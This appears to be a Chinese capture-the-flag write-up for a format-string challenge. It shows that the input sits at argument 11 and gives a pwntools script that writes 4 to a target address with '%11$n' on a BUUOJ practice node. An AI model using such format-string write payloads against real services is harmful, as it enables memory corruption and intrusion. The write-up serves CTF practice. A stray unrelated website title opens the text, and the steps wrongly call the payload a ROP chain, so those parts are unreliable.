海南省交通建设局网站首页天眼
格式化字符串漏洞题
x等于4x等于4x等于4x等于4
可以知道是第11个参数，%11$ 定位到这个位置，然后%n往这个位置写入4
1.先用pwndbg调试得到偏移量
2.查看获取x的地址
3.构造ROP链，发送连接
from pwn import *# 连接到远程服务器
p = remote("node5.buuoj.cn", 26985)# 目标地址
addr = 0x0804A02C# 构造payload
# p32将地址转换为4字节小端格式
# b'%11$n'确保字符串是字节类型
payload = p32(addr) + b'%11$n'# 发送payload
p.sendline(payload)# 进入交互模式
p.interactive()